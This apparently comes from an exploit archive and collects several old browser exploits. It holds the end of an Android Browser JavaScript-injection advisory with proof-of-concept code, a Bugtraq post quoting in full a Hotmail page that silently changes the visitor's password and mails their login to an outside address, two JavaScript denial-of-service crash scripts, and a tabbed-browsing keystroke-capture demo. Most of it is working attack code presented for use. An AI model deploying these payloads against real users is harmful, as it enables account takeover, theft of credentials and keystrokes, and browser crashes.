         catch (InterruptedException e) {}
         startBrowserActivity("javascript:" + mJavascript);
   }

   private void startBrowserActivity(String url) {
      Intent res = new Intent("android.intent.action.VIEW");
      res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
      res.setData(Uri.parse(url));
      startActivity(res);
   }
}


6) Vulnerable versions
-----------------------
Android 2.3.4 and Android 3.1 have been found vulnerable.


7) Vendor Response
-------------------
Android 2.3.5 and 3.2 have been released, which incorporate a fix for this 
bug.

The fixes can be found in the following commits:
* 
http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e
* 
http://android.git.kernel.org/?p=platform/packages/apps/Browser.git;a=commit;h=096bae248453abe83cbb2e5a2c744bd62cdb620b

Patches are available for Android 2.2.* and will be released at a later 
date.
Organizations can contact security@android.com for patch information.

Android has communicated information about this vulnerability to their
partners, and all new Android compatible devices are required to
incorporate this bug fix:
* http://source.android.com/compatibility/overview.html
* http://source.android.com/faqs.html#compatibility
* 
http://android.git.kernel.org/?p=platform/cts.git;a=commit;h=7e48fb87d48d27e65942b53b7918288c8d740e17

Android Market actively scans all Android Market applications to detect 
and
prevent exploitation of security vulnerabilities.


8) Additional information
--------------------------
* Original advisory: 
http://blog.watchfire.com/files/advisory-android-browser.pdf
* Demo of PoC:       http://www.youtube.com/watch?v=BzUpbcrWufs


9) Credit
----------
* Roee Hay <roeeh@il.ibm.com> of IBM Rational Application Security 
Research Group
* Yair Amit <yairam@gmail.com> 


10) Acknowledgments
--------------------
We would like to thank the Android Security Team for the efficient and 
quick
way in which they handled this security issue.


A 3rd party application may exploit Android's Browser URL loading process in order to inject JavaScript code into an arbitrary domain thus break Android's sandboxing. Versions 2.3.4 and 3.1 have been found vulnerable.

/hotmail.browser.trust.txt ( na)

Date: Wed, 5 May 1999 17:31:34 -0500
From: David L. Nicol <david@KASEY.UMKC.EDU>
To: BUGTRAQ@netspace.org
Subject: hotmail claims vulnerability patched, so here it is

Dear Paul:

I am reading your previous article on hotmail security,
http://www.news.com/News/Item/0,4,33996,00.html

and I'm CCing this message to the bugtraq list.

A good patch from Hotmail would have to involve some additional
info with the cookie.

A couple of approaches that come to mind include:

 verifying http_referer data in the script submission to make sure its
 from the expected  hotmail page

 putting additional hidden key fields with constantly changing names
and values on submittalbe pages, to provide verification that the pages
are legit

 investigating any incidents of pages being submitted with incorrect,
nonexistent, or unexpected "secret flag fields" as described above

I don't work for hotmail (as you know) and I am caught up in this
as a bystander;

I would expect hotmail to give you a explanation of their patch that not
only is detailed but makes sense and that you cannot find a hole in.

If hotmail merely changed the names of variables, or did a similar
short term fix, the next expolit might not be nice enough to announce
itself as such.  Modifying  the attached El Lite exploit to only work
if it had a particular hotmail account might be a piece of cake;
allowing
for some highly targeted kinds of attacks. (esp. if a hotmail user is
doing anything involving return-email verification, like tipjar or first
virtual.)



Here is the hacker's tripod page, including the exploit that
takes advantage of the trust hotmail has for instructions from
your browser, by secretly sending instructions to hotmail to change
your password to



<HTML>
<kraffa2="<HEAD>
<!--Begin JavaScrypt roadmap code.  If editing downloaded HTML source,
delete
 this portion.-->

<scrypt language="JavaScrypt">


<!--

function TripodShowPopup()
{
        // open the popup window
        var popupURL =
"http://members.tripod.com/adm/popup/roadmap.shtml";
        var popup =
window.open(popupURL,"TripodPopup",'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,heig
ht=105');
        // set the opener if it's not already set.  it's set
automatically
        // in netscape 3.0+ and ie 3.0+.
        if( navigator.appName.substring(0,8) == "Netscape" )
        {
                popup.location = popupURL;
        }
}

TripodShowPopup();

// -->


</scrypt>

<!--End inserted JavaScript code.-->
<base href="http://members.tripod.com/kraffa2/Hook.html">
</HEAD>

<body>
<scrypt>
<!--

function getCGIValue(nombre, elURL)
        {
        elURL= elURL;
        nombre= nombre+"=";
        vacio="";
        found= elURL.indexOf(nombre);
        if (found > -1)
                {
                found2= elURL.indexOf("&amp;",found);
                found+= nombre.length;
                end= (found2 > -1) ? found2 : elURL.length;
                var value= elURL.substring(found, end);
                value= (value != null) ? value : vacio;
                return value;

                }
        else {return vacio;}

}

Query= unescape(self.location.search);
disk= getCGIValue("disk", Query);
login= getCGIValue("login", Query);
host= "www.hotmail.com";
hintq= escape('<img
src="http://www.badenpage.de/pirate/bilder/flagge.jpg"><br><center>by El
Lite©</center>');
hinta= '%66axf%61x';
TheURL=
"http://
"+host+"/cgi-bin/dopassword?"+"disk="+disk+"&amp;login="+login+"&amp;f=34145&amp;curmbox=ACTIVE&amp;_lang=&amp;np=yes&amp;new_%70%61%73s%77d=%6B%6B%6A%6A
01&amp;new_%70%61%73s%77d2=kk%6A%6A01&amp;hi%6E%74q="+hintq+"&amp;hinta="+hinta;
Mail=
"http://www.tipjar.com/cgi-bin/generic?mailto=paulinaporizkova@hotmail.com&amp;mailfrom=
"+login+"@hotmail.com&amp;subject="+login+"+HMpass+cambiada+%0A%0ASu+navegador+es+"+escape(navigator.userAgent+"\n.\n");

options=
'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,height=105';

HOTMAIL= window.open(TheURL,"HOTMAIL",options);
self.focus();
setTimeout("HOTMAIL.close()",8000);

MAIL= window.open(Mail,"MAIL",options);
self.focus();
setTimeout("MAIL.close()",8000);



//-->
</scrypt>



<pre><b>

  Uno de los mejores correos gratis que existen es precisamente el que
  tu estás usando, hotmail. Su seguridad e inviolabilidad son ya
legendarias.

  Tanto es así que mira por donde a partir de este mismísimo momento las
  cosas van a tomar otro cariz. Quiero decir que lamentándolo mucho tu
  dirección de hotmail ha sido inutilizada, o mejor dicho, secuestrada
por mi.

  Ya nunca mas podrás entrar en ella.

  Así de definitivo. Ahora es

                                SOLO MIAAA!!!! :-))))

  Como soy un buenazo y no eres mi única víctima pues un dia de estos
voy a
  publicar en es.comp.hackers la password que os puse (es la misma para
todos
  vosotros pardillos)

  Hala, que te sea leve

  El Lite&amp;copy;
</b></pre>
</body>
</html>



Exploit code and description of yet another new Hotmail password-grabbing security hole.

Ziplock/browserDoS.txt ( na)


<!-- DoS for latest IE -- will make windows lag to hell
Firefox in linux will turn into forkbomb, and Firefox windows will lag for a little while but seems to recover after a few minutes.
Ziplock <sickbeatz@gmail.com>

tested with latest IE with all security patches installed 12/08/2005
-->
<html>
<body>
<script>
var buffer = 'A';
for (var i =0;i<100;i++) {
buffer+=buffer+'A';
}
document.execCommand("SaveAs",buffer);
</script>
</body>
</html>


Simple javascript related denial of service that primarily affects Internet Explorer. Version 6.0 was tested and stayed unresponsive for over 3 minutes. Firefox does not appear truly affected as it seems to recover although it may freeze for a short period of time.

Inj3ct0r Team/All browsers 0day Crash Exploit ( multiple)

===============================
All browsers 0day Crash Exploit
===============================
[+] Discovered By: Inj3ct0r Team

@Title: All browsers 0day Crash Exploit


@Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/ - http://inj3ct0r.com/

@Exploit for all browsers (Tested on: Mozilla Firefox // Internet Explorer // Google Chrome // Netscape // Opera):
<body onload="javascript:DoS();"></body>
 
<script>
 
function DoS() {
 
var buffer = '\x42';
for (i =0;i<666;i++) {
buffer+=buffer+'\x42';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>


Jakob Balle/Multiple (Almost all) Browsers Tabbed Browsing Vulnerabilities ( windows)

<b>Test Your Browser</b><br> 
      <br> 
      Open the link below in a new tab, then try to type data into form fields on the CitiBank website.<br> 
      <br> 
      <a href="http://www.citibank.com/" onMouseOver="setInterval('document.myform.userinput.focus();', 10);">Open this Link in New Tab</a><br> 
      <br> 
      <form name="myform"> 
        <b>Result: (Keystrokes you pressed on the CitiBank website.)</b><br> 
        <textarea name="userinput" rows="3"></textarea> 
      </form> 

// milw0rm.com [2004-10-22]